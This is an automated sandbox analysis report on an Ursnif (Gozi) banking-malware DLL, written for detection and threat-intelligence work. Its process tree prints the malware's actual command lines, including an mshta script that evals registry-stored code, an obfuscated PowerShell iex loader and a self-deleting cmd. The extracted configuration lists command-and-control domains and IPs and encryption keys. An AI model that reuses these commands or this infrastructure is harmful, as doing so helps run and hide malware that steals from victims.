Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
626a961800203.rar

Overview

General Information

Sample Name:626a961800203.rar (renamed file extension from rar to dll)
Analysis ID:617373
MD5:d6c8aff647ab919e9bc6f2c8aeb125c7
SHA1:f71c3d08ba85869cb45cb611c3ef9da8f5736b70
SHA256:de5d66f93a36ef1db41b9b53913296c0ff2828d0b07baff68154fc54683ac45c
Tags:dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6352 cmdline: loaddll32.exe "C:\Users\user\Desktop\626a961800203.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6368 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a961800203.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6388 cmdline: rundll32.exe "C:\Users\user\Desktop\626a961800203.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 2300 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 1408 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
  • mshta.exe (PID: 6228 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qbwe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qbwe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6648 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name elhthuju -value gp; new-alias -name fwiwawp -value iex; fwiwawp ([System.Text.Encoding]::ASCII.GetString((elhthuju "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6460 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 488 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAFF5.tmp" "c:\Users\user\AppData\Local\Temp\boqgffzj\CSC6A71A2D878D54201A284CABB415B85EF.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 3724 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yb3ge0m0\yb3ge0m0.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 2980 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC0EC.tmp" "c:\Users\user\AppData\Local\Temp\yb3ge0m0\CSCCD644729527F4748ACD06F6743FBF148.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 3684 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a961800203.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6784 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
        • RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 1300 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\92B2.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 1048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000027.00000000.802429356.000001F9BBE30000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000003.269094319.0000000005748000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000002.00000003.317079618.0000000005748000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        0000001A.00000000.384032438.0000000000BF0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          00000002.00000002.435982422.00000000053CF000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            Click to see the 25 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.3.rundll32.exe.50194a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.2.rundll32.exe.5110000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.50194a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.564a4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.564a4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 2 entries

                      Sigma Signatures

                      System Summary